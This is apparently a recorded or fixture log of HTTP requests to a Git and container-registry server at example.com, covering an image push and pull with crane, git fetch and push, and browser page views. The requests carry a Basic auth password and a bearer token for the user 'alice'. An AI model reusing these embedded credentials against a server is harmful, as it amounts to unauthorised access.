{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
